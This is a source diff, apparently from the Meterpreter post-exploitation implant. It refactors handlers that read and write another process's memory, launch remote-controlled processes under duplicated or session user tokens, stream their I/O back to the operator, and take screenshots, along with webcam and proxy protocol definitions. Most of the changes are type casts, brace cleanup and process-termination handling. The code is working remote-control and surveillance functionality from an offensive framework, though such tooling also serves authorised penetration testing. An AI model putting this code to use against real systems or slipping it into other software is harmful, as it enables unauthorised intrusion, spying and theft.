osName = "Windows 2012"; osName = "Windows 8";
else
osName = "Windows 2012";
}
else if (v.dwMinorVersion == 3)
{
if (v.wProductType == VER_NT_WORKSTATION)
osName = "Windows 8.1";
else
osName = "Windows 2012 R2";
}
} }
if (!osName) if (!osName)

@ -15,7 +15,7 @@
*/ */
#include "precomp.h" #include "precomp.h"
#ifndef NTSTATUS #ifndef _WIN32
typedef ULONG NTSTATUS; typedef ULONG NTSTATUS;
#endif #endif

@ -81,7 +81,7 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet)
HANDLE handle; HANDLE handle;
SIZE_T size; SIZE_T size;
LPVOID base; LPVOID base;
DWORD bytesRead = 0; SIZE_T bytesRead = 0;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
@ -116,7 +116,7 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet)
// Add the raw buffer to the response // Add the raw buffer to the response
packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer,
bytesRead); (DWORD)bytesRead);
} while (0); } while (0);
@ -144,7 +144,7 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet)
HANDLE handle; HANDLE handle;
LPVOID base; LPVOID base;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
DWORD written = 0; size_t written = 0;
Tlv data; Tlv data;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
@ -171,7 +171,7 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet)
} }
// Set the number of bytes actually written on the response // Set the number of bytes actually written on the response
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); packet_add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written);
} while (0); } while (0);
@ -194,7 +194,7 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet)
HANDLE handle; HANDLE handle;
LPVOID base; LPVOID base;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
DWORD size = 0; SIZE_T size = 0;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
base = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_BASE_ADDRESS); base = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_BASE_ADDRESS);
@ -226,9 +226,9 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION, packet_add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION,
info.AllocationProtect); info.AllocationProtect);
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, packet_add_tlv_uint(response, TLV_TYPE_LENGTH,
info.RegionSize); (DWORD)info.RegionSize);
packet_add_tlv_uint(response, TLV_TYPE_MEMORY_STATE, packet_add_tlv_uint(response, TLV_TYPE_MEMORY_STATE,
info.State); (DWORD)info.State);
packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, packet_add_tlv_uint(response, TLV_TYPE_PROTECTION,
info.Protect); info.Protect);
packet_add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE, packet_add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE,

@ -176,6 +176,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
HMODULE hUserEnvLib = NULL; HMODULE hUserEnvLib = NULL;
ProcessChannelContext * ctx = NULL;
dprintf( "[PROCESS] request_sys_process_execute" ); dprintf( "[PROCESS] request_sys_process_execute" );
@ -233,7 +234,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// executable to produce a command line // executable to produce a command line
if (path && arguments) if (path && arguments)
{ {
DWORD commandLineLength = strlen(path) + strlen(arguments) + 2; size_t commandLineLength = strlen(path) + strlen(arguments) + 2;
if (!(commandLine = (PCHAR)malloc(commandLineLength))) if (!(commandLine = (PCHAR)malloc(commandLineLength)))
{ {
@ -244,7 +245,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
_snprintf(commandLine, commandLineLength, "%s %s", path, arguments); _snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
} }
else if (path) else if (path)
{
commandLine = path; commandLine = path;
}
else else
{ {
result = ERROR_INVALID_PARAMETER; result = ERROR_INVALID_PARAMETER;
@ -256,7 +259,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{ {
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops; PoolChannelOps chops;
Channel *newChannel; Channel *newChannel;
@ -270,6 +272,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
memset(&chops, 0, sizeof(PoolChannelOps)); memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations // Initialize the channel operations
dprintf( "[PROCESS] context address 0x%p", ctx );
chops.native.context = ctx; chops.native.context = ctx;
chops.native.write = process_channel_write; chops.native.write = process_channel_write;
chops.native.close = process_channel_close; chops.native.close = process_channel_close;
@ -353,62 +356,67 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
} }
hUserEnvLib = LoadLibrary("userenv.dll"); hUserEnvLib = LoadLibrary("userenv.dll");
if ( NULL != hUserEnvLib ) { if (NULL != hUserEnvLib) {
lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" ); lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" ); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) { if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) {
createFlags |= CREATE_UNICODE_ENVIRONMENT; createFlags |= CREATE_UNICODE_ENVIRONMENT;
dprintf("[execute] created a duplicated environment block"); dprintf("[execute] created a duplicated environment block");
} else { }
else {
pEnvironment = NULL; pEnvironment = NULL;
} }
} }
// Try to execute the process with duplicated token // Try to execute the process with duplicated token
if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) ) if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
{ {
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL; HANDLE hAdvapi32 = NULL;
wchar_t * wcmdline = NULL; wchar_t * wcmdline = NULL;
wchar_t * wdesktop = NULL; wchar_t * wdesktop = NULL;
int size = 0; size_t size = 0;
result = GetLastError(); result = GetLastError();
// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
if( result == ERROR_PRIVILEGE_NOT_HELD ) if (result == ERROR_PRIVILEGE_NOT_HELD)
{ {
do do
{ {
hAdvapi32 = LoadLibrary( "advapi32.dll" ); hAdvapi32 = LoadLibrary("advapi32.dll");
if( !hAdvapi32 ) if (!hAdvapi32)
break; break;
pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" ); pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
if( !pCreateProcessWithTokenW ) if (!pCreateProcessWithTokenW)
{
break; break;
}
// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
size = mbstowcs( NULL, commandLine, 0 ); size = mbstowcs(NULL, commandLine, 0);
if( size < 0 ) if (size == (size_t)-1)
break;
wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
mbstowcs( wcmdline, commandLine, size );
if( si.lpDesktop )
{ {
size = mbstowcs( NULL, (char *)si.lpDesktop, 0 ); break;
if( size > 0 ) }
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wcmdline, commandLine, size);
if (si.lpDesktop)
{
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
if (size != (size_t)-1)
{ {
wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs( wdesktop, (char *)si.lpDesktop, size ); mbstowcs(wdesktop, (char *)si.lpDesktop, size);
si.lpDesktop = (LPSTR)wdesktop; si.lpDesktop = (LPSTR)wdesktop;
} }
} }
if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) ) if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
{ {
result = GetLastError(); result = GetLastError();
dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
@ -417,16 +425,22 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
result = ERROR_SUCCESS; result = ERROR_SUCCESS;
} while( 0 ); } while (0);
if( hAdvapi32 ) if (hAdvapi32)
FreeLibrary( hAdvapi32 ); {
FreeLibrary(hAdvapi32);
}
if( wdesktop ) if (wdesktop)
free( wdesktop ); {
free(wdesktop);
if( wcmdline ) }
free( wcmdline );
if (wcmdline)
{
free(wcmdline);
}
} }
else else
{ {
@ -435,58 +449,76 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
} }
} }
if( lpfnDestroyEnvironmentBlock && pEnvironment ) if (lpfnDestroyEnvironmentBlock && pEnvironment)
lpfnDestroyEnvironmentBlock( pEnvironment ); {
lpfnDestroyEnvironmentBlock(pEnvironment);
}
if( NULL != hUserEnvLib ) if (NULL != hUserEnvLib)
FreeLibrary( hUserEnvLib ); {
FreeLibrary(hUserEnvLib);
}
} }
else if( flags & PROCESS_EXECUTE_FLAG_SESSION ) else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
{ {
typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken ); typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
HANDLE hToken = NULL; HANDLE hToken = NULL;
HMODULE hWtsapi32 = NULL; HMODULE hWtsapi32 = NULL;
BOOL bSuccess = FALSE; BOOL bSuccess = FALSE;
DWORD dwResult = ERROR_SUCCESS; DWORD dwResult = ERROR_SUCCESS;
do do
{ {
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
hWtsapi32 = LoadLibraryA( "wtsapi32.dll" ); hWtsapi32 = LoadLibraryA("wtsapi32.dll");
session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION ); session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);
if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 ) if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
{ {
if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" ); {
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
}
} }
else else
{ {
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" ); pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
if( !pWTSQueryUserToken ) if (!pWTSQueryUserToken)
BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" ); {
BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
}
if( !pWTSQueryUserToken( session, &hToken ) ) if (!pWTSQueryUserToken(session, &hToken))
BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" ); {
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) }
BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
}
} }
} while( 0 ); } while (0);
if( hWtsapi32 )
FreeLibrary( hWtsapi32 );
if( hToken ) if (hWtsapi32)
CloseHandle( hToken ); {
FreeLibrary(hWtsapi32);
}
if (hToken)
{
CloseHandle(hToken);
}
result = dwResult; result = dwResult;
if( result != ERROR_SUCCESS ) if (result != ERROR_SUCCESS)
{
break; break;
}
} }
else else
{ {
@ -528,6 +560,15 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// failed but return a process id and this will throw off the ruby side. // failed but return a process id and this will throw off the ruby side.
if( result == ERROR_SUCCESS ) if( result == ERROR_SUCCESS )
{ {
// if we managed to successfully create a channelized process, we need to retain
// a handle to it so that we can shut it down externally if required.
if ( flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
&& ctx != NULL )
{
dprintf( "[PROCESS] started process 0x%x", pi.hProcess );
ctx->pProcess = pi.hProcess;
}
// Add the process identifier to the response packet // Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
@ -540,16 +581,24 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// Close the read side of stdin and the write side of stdout // Close the read side of stdin and the write side of stdout
if (in[0]) if (in[0])
{
CloseHandle(in[0]); CloseHandle(in[0]);
}
if (out[1]) if (out[1])
{
CloseHandle(out[1]); CloseHandle(out[1]);
}
// Free the command line if necessary // Free the command line if necessary
if (path && arguments && commandLine) if (path && arguments && commandLine)
{
free(commandLine); free(commandLine);
}
if( cpDesktop ) if( cpDesktop )
{
free( cpDesktop ); free( cpDesktop );
}
#else #else
PCHAR path, arguments;; PCHAR path, arguments;;
DWORD flags; DWORD flags;
@ -561,6 +610,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
int idx, i; int idx, i;
pid_t pid; pid_t pid;
int have_pty = -1; int have_pty = -1;
ProcessChannelContext * ctx = NULL;
int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);
@ -611,7 +661,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// such that input can be directed to and from the remote endpoint // such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{ {
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops; PoolChannelOps chops;
Channel *newChannel; Channel *newChannel;
@ -625,6 +674,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
memset(&chops, 0, sizeof(PoolChannelOps)); memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations // Initialize the channel operations
dprintf( "[PROCESS] context address 0x%p", ctx );
chops.native.context = ctx; chops.native.context = ctx;
chops.native.write = process_channel_write; chops.native.write = process_channel_write;
chops.native.close = process_channel_close; chops.native.close = process_channel_close;
@ -749,6 +799,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if(have_pty) { if(have_pty) {
dprintf("child channelized\n"); dprintf("child channelized\n");
close(slave); close(slave);
ctx->pProcess = (HANDLE)pid;
} else { } else {
close(in[0]); close(in[0]);
close(out[1]); close(out[1]);
@ -991,20 +1042,22 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
* *
* FIXME: can-block * FIXME: can-block
*/ */
DWORD process_channel_read(Channel *channel, Packet *request, DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead) LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context; ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx ); dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx);
#ifdef _WIN32 #ifdef _WIN32
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL)) if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError(); result = GetLastError();
#else #else
if ((*bytesRead = read(ctx->pStdout, buffer, bufferSize)) < 0) { if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) {
result = GetLastError(); result = GetLastError();
// Always return zero bytes read on error
*bytesRead = 0;
} }
#endif #endif
return result; return result;
@ -1014,19 +1067,19 @@ DWORD process_channel_read(Channel *channel, Packet *request,
* Writes data from the remote half of the channel to the process's standard * Writes data from the remote half of the channel to the process's standard
* input handle * input handle
*/ */
DWORD process_channel_write(Channel *channel, Packet *request, DWORD process_channel_write( Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten) LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten )
{ {
ProcessChannelContext *ctx = (ProcessChannelContext *)context; ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx ); dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
#ifdef _WIN32 #ifdef _WIN32
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL)) if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) )
result = GetLastError(); result = GetLastError();
#else #else
if((*bytesWritten = write(ctx->pStdin, buffer, bufferSize)) < 0) { if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) {
result = GetLastError(); result = GetLastError();
} }
#endif #endif
@ -1036,38 +1089,74 @@ DWORD process_channel_write(Channel *channel, Packet *request,
/* /*
* Closes the channels that were opened to the process. * Closes the channels that were opened to the process.
*/ */
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context) DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context )
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context; ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (channel_is_interactive(channel)) if ( ctx->pProcess != NULL ) {
scheduler_remove_waitable(ctx->pStdout); dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx );
scheduler_signal_waitable( ctx->pStdout, Stop );
} else {
#ifdef _WIN32 #ifdef _WIN32
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization // Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects // problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead. // will have undefined behaviour. The interactive thread will close the handle instead.
CloseHandle(ctx->pStdin); CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
#else #else
close(ctx->pStdin); close( ctx->pStdin );
close( ctx->pStdout );
#endif #endif
free(ctx); free( ctx );
}
return result; return result;
} }
DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext )
{
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD dwResult = ERROR_SUCCESS;
dprintf( "[PROCESS] terminating context 0x%p", ctx );
#ifdef _WIN32
CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess );
TerminateProcess( ctx->pProcess, 0 );
}
#else
close( ctx->pStdin );
close( ctx->pStdout );
dprintf( "[PROCESS] pid %u", ctx->pProcess );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating pid %u", ctx->pProcess );
kill( (pid_t)ctx->pProcess, 9 );
}
#endif
free( ctx );
return dwResult;
}
/* /*
* Callback for when data is available on the standard output handle of * Callback for when data is available on the standard output handle of
* a process channel that is interactive mode * a process channel that is interactive mode
*/ */
DWORD process_channel_interact_notify(Remote *remote, Channel *channel) DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
{ {
Channel *channel = (Channel*)entryContext;
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context; ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD bytesRead, bytesAvail = 0; DWORD bytesRead, bytesAvail = 0;
CHAR buffer[16384]; CHAR buffer[16384];
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
@ -1135,10 +1224,16 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context
// If the remote side wants to interact with us, schedule the stdout handle // If the remote side wants to interact with us, schedule the stdout handle
// as a waitable item // as a waitable item
if (interact) if (interact) {
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify); // try to resume it first, if it's not there, we can create a new entry
else // Otherwise, remove it if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) {
result = scheduler_remove_waitable(ctx->pStdout); result = scheduler_insert_waitable( ctx->pStdout, channel, context,
(WaitableNotifyRoutine)process_channel_interact_notify,
(WaitableDestroyRoutine)process_channel_interact_destroy );
}
} else { // Otherwise, pause it
result = scheduler_signal_waitable( ctx->pStdout, Pause );
}
return result; return result;
} }

@ -8,6 +8,7 @@ typedef struct _ProcessChannelContext
{ {
HANDLE pStdin; HANDLE pStdin;
HANDLE pStdout; HANDLE pStdout;
HANDLE pProcess;
} ProcessChannelContext; } ProcessChannelContext;
DWORD process_channel_read(Channel *channel, Packet *request, DWORD process_channel_read(Channel *channel, Packet *request,

@ -348,7 +348,7 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet)
valNbo = htonl(value); valNbo = htonl(value);
// Translate each register into a grouped TLV // Translate each register into a grouped TLV
reg[0].header.length = strlen(regs[index].name) + 1; reg[0].header.length = (DWORD)strlen(regs[index].name) + 1;
reg[0].header.type = TLV_TYPE_REGISTER_NAME; reg[0].header.type = TLV_TYPE_REGISTER_NAME;
reg[0].buffer = (PUCHAR)regs[index].name; reg[0].buffer = (PUCHAR)regs[index].name;
reg[1].header.length = sizeof(DWORD); reg[1].header.length = sizeof(DWORD);

@ -386,7 +386,7 @@ DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine ); dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot. // start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response ); pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response, NULL );
if( !pPipeThread ) if( !pPipeThread )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );

File diff suppressed because it is too large Load Diff

@ -1,33 +1,17 @@
/*!
* @file webcam.h
* @brief Contains webcam interaction function declarations.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H #ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H #define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#include "audio.h"
#define TLV_TYPE_EXTENSION_WEBCAM 0 #define TLV_TYPE_EXTENSION_WEBCAM 0
#define TLV_TYPE_WEBCAM_IMAGE \ #define TLV_TYPE_WEBCAM_IMAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 1)
MAKE_CUSTOM_TLV( \ #define TLV_TYPE_WEBCAM_INTERFACE_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 2)
TLV_META_TYPE_RAW, \ #define TLV_TYPE_WEBCAM_QUALITY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 3)
TLV_TYPE_EXTENSION_WEBCAM, \ #define TLV_TYPE_WEBCAM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 4)
TLV_EXTENSIONS + 1)
#define TLV_TYPE_WEBCAM_INTERFACE_ID \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 2)
#define TLV_TYPE_WEBCAM_QUALITY \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 3)
#define TLV_TYPE_WEBCAM_NAME \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 4)
DWORD request_webcam_list(Remote *remote, Packet *packet); DWORD request_webcam_list(Remote *remote, Packet *packet);
DWORD request_webcam_start(Remote *remote, Packet *packet); DWORD request_webcam_start(Remote *remote, Packet *packet);

@ -419,6 +419,11 @@
TLV_META_TYPE_UINT, \ TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \ TLV_TYPE_EXTENSION_STDAPI, \
1444) 1444)
// Proxy configuration
#define TLV_TYPE_PROXY_CFG_AUTODETECT MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_STDAPI, 1445)
#define TLV_TYPE_PROXY_CFG_AUTOCONFIGURL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 1446)
#define TLV_TYPE_PROXY_CFG_PROXY MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 1447)
#define TLV_TYPE_PROXY_CFG_PROXYBYPASS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 1448)
// Socket // Socket
#define TLV_TYPE_PEER_HOST \ #define TLV_TYPE_PEER_HOST \

@ -30,12 +30,14 @@
#endif #endif
DWORD server_setup(SOCKET fd); DWORD server_setup(SOCKET fd);
typedef DWORD (*PSRVINIT)(Remote *remote);
